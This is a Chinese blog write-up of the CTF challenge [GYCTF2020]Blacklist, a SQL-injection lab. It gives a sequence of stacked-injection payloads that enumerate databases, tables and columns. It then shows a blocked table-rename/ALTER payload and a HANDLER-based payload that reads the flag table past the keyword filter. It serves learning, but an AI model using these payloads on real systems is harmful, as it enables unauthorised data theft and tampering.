博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

[GYCTF2020]Blacklist

今天做的这道题是18年网鼎杯堆叠注入的衍生版,这里记录一下

题目

 

分析

?inject=1'

报错

 

 

?inject=1'--+

正常

 

 

然后查看有多少字段

?inject=1' order by 2--+

然后用联合查询

?inject=1' union select 1,2--+

发现有过滤

 

 

试试用堆叠注入,查库

/?inject=1';show databases;

 

 

查表

?inject=1';show tables;

 

 查看`FlagHere`这张表

?inject=1';show columns from `FlagHere`;

 

 

里面有flag字段

查`words`这个字段,里面有id和data两个字段

 

 因为刚开始回显的时候,是从`words`这张表中查询的内容,所以最后肯定是在`words`这张表回显的

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.FlagHere改名为words

这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段


3.将新的word表插入一列,列名为id

或者将flag列改名为data

构造payload

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `FlagHere` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;

 

发现过滤了好多

 

 

只能换一种方法了

这里我们用到handler这个东西

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

 

posted @ 2020-09-16 22:10  My_Dreams  阅读(422)  评论(0)    收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();